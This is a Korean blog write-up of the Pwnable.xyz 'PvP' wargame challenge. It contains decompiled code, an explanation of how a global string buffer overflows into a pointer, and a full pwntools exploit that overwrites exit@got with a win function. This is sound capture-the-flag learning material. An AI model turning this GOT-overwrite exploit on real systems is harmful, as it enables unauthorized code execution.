tmxklab
[Pwnable.xyz] PvP 본문
1. 문제
nc svc.pwnable.xyz 30022
1) mitigation 확인
2) 문제 확인
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
puts("PvP - Programmatically vulnerable Program");
while ( 1 )
{
print_menu();
switch ( (unsigned __int64)(unsigned int)read_int32() )
{
case 0uLL:
return 0;
case 1uLL:
if ( dword_6026A8 )
short_append();
else
puts("Message is empty.");
break;
case 2uLL:
if ( dword_6026A8 )
{
puts("Message already there.");
}
else
{
long_append();
dword_6026A8 = 1;
}
break;
case 3uLL:
if ( dest )
printf("Your msg %s\n", dest);
break;
case 4uLL:
save_it();
break;
default:
puts("Invalid");
break;
}
}
}
- 메뉴 1 : dword_6026a8(전역변수)에 값이 존재하면 short_append()실행하고 없으면 puts()로 문자열 출력
- 메뉴 2 : dword_6026a8에 값이 존재하면 puts()로 문자열 출력하고 없으면 long_append()실행 후 dword_6026a8에 1로 초기화
- 메뉴 3 : dest(전역변수)에 값이 존재하면 dest에 있는 값 출력
- 메뉴 4 : save_it()호출
3-2) short_append()
unsigned __int64 short_append()
{
int v1; // [rsp+Ch] [rbp-34h]
char s; // [rsp+10h] [rbp-30h]
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
v1 = rand() % 32;
printf("Give me %d chars: ", (unsigned int)v1);
memset(&s, 0, 0x20uLL);
read(0, &s, v1);
strncat(x, &s, v1);
return __readfsqword(0x28u) ^ v3;
}
- v1에 0 ~ 31범위의 난수를 생성하고 read()를 통해 s변수에 v1만큼 입력을 받는다.
- x(전역변수)에 s변수의 문자열을 붙인다.
3-3) long_append()
char *long_append()
{
int v1; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]
v1 = rand() & 0x3FF;
printf("Give me %d chars: ", (unsigned int)v1);
buf = calloc(v1, 1uLL);
read(0, buf, v1);
return strncat(x, (const char *)buf, v1);
}
- v1에 0 ~ 0x3fe범위의 난수 생성 뒤 buf에 v1만큼의 메모리 할당을 받는다.
- read()를 통해 buf에 v1만큼 입력 값을 받고 x에 buf문자열을 붙인다.
3-4) save_it()
int save_it()
{
size_t v0; // rax
int result; // eax
unsigned int n; // [rsp+Ch] [rbp-4h]
if ( !dest )
{
v0 = strlen(x);
dest = (char *)malloc(v0);
}
printf("How many bytes is your message? ");
n = read_int32();
if ( n <= 0x400 )
result = (unsigned __int64)strncpy(dest, x, n);
else
result = puts("Invalid");
return result;
}
- dest에 값이 존재하지 않으면 dest에 x의 문자열 길이만큼 malloc()한다.
- n에 입력 값을 받아 0x400보다 작거나 같으면 dest에 x의 문자열을 n크기만큼 복사한다. 0x400보다 크면은 puts()로 문자열 출력한다.
전역변수)
- x : 0x6022a0
- dest : 0x6026a0
- dword_6026a8 : 0x6026a8
2. 접근방법
로직)
- short_append() or long_append()를 통해 x(전역변수)에 문자열을 계속 이어붙일 수 있다.
- 메뉴 4의 save_it()을 통해 x변수에 저장된 문자열 길이만큼 메모리 할당을 하여 청크의 주소를 dest(전역변수)에 저장하고 할당된 힙 영역에 x변수의 문자열을 strncpy()를 통해 복사한다.
- 메뉴 3을 통해 dest값을 출력한다.
bss영역에 있는 x변수로부터 1024byte떨어진 곳에 dest가 존재하며 short_append() 또는 long_append()를 통해 계속 이어 붙이다보면 경계값 검사가 존재하지 않으므로 dest까지 침범할 수 있다.
save_it()을 수행하면 dest에 청크의 주소가 존재하지 않으면 malloc을 실행하고 존재하면 strncpy(dest, x, n)을 수행한다.
정상적인 로직이라면 dest에는 메모리 할당된 청크의 주소가 존재하지만 x변수에 계속 문자열을 이어 붙이다 보면 dest까지 침범할 수 있다.
따라서, save_it()을 하게 되면 dest에는 값이 존재하여 그대로 dest에 존재하는 값을 주소로 참조하여 x의 값을 복사한다.
그럼 먼저 got overwrite가 가능한 함수들을 찾아보자
- 현재 short_append(), long_append(), save_it()함수까지 호출한 상황이다.
- 사용할 수 있는 함수가 __stack_chk_fail()과 system(), memset(), exit()가 보인다. -> 왜냐하면 win함수의 주소 값이 3byte이므로 나머지 매핑된 함수들에다가 3byte쓰면 안됨
- __stack_chk_fail()은 카나리 값이 변조되어야 호출되어야 한다.
- system()와 memset()은 메인 함수 루틴에 안보이므로 탈락이다.
- exit()는 어디서 사용되는지 확인해 본 결과 메인 함수 시작할 떄 setup()에서 확인할 수 있다.
void setup()
{
unsigned int v0; // eax
setvbuf(&_bss_start, 0LL, 2, 0LL);
setvbuf(&IO_2_1_stdin_, 0LL, 2, 0LL);
signal(14, (__sighandler_t)handler);
alarm(60u);
v0 = time(0LL);
srand(v0);
}
- setup()에서 SIGALRM이 발생할 떄 처리하는 handler함수를 지정하고 60초 후에 SIGALRM이 발생하는 alarm()를 설정하였다.
void __noreturn handler()
{
exit(1);
}
- 그리고 handler()에는 exit()가 존재하는 것을 확인할 수 있다.
- 1분이 지난 뒤에 프로그램을 종료하려는 의도로 보인다.
따라서, 우리는 exit@got overwrite를 하고 1분이 지나면 exit()대신에 win()를 호출하도록 해야한다.
공격 프로세스)
- x에 win() address 3byte와 dummy값 (1024 - 3)byte, 마지막으로 dest에 위치하는 곳에 exit@got를 넣는다.
- save_it()을 통해 exit@got에 win함수의 주소 값이 들어간다.
- 1분이 지나면 alarm()에 의해 프로세스에 signal(SIGALRM)을 보내면서 handler()가 실행되는데 이 때, handler()에는 exit()가 존재한다.
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30022)
e = ELF("./challenge")
#gdb.attach(p)
puts_got = e.got['puts']
exit_got = e.got['exit']
win_addr = e.symbols['win']
count = 1024
log.info("puts@got : "+hex(puts_got))
log.info("exit@got : "+hex(exit_got))
log.info("win_addr : "+hex(win_addr))
p.sendlineafter("> ", str(2))
p.recvuntil("me ")
num = int(p.recvuntil(" c")[:-2])
# 1. input 1024bytes
payload = "\x2d\x0b\x40"
payload += "A"*(num-3)
p.sendafter(": ", payload)
count -= num
log.info("count : "+str(count))
while count > 0:
p.sendlineafter("> ", str(1))
p.recvuntil("me ")
num = int(p.recvuntil(" c")[:-2])
if count > num:
p.sendafter(": ", "A"*num)
else:
p.sendafter(": ", "A"*count)
count -= num
log.info("count : "+str(count))
# 2. input exit@got -> dest
p.sendlineafter("> ", str(1))
p.recvuntil("me ")
num = int(p.recvuntil(" c")[:-2])
if num > 3:
p.sendafter(": ", "\xa0\x20\x60")
# 3. got@overwrite
p.sendlineafter("> ", str(4))
p.sendlineafter("? ", str(3))
p.interactive()
2) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] punch it (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] catalog (0) | 2020.09.09 |
[Pwnable.xyz] bookmark (0) | 2020.09.09 |
[Pwnable.xyz] rwsr (0) | 2020.09.09 |
[Pwnable.xyz] fclose (0) | 2020.09.09 |
Comments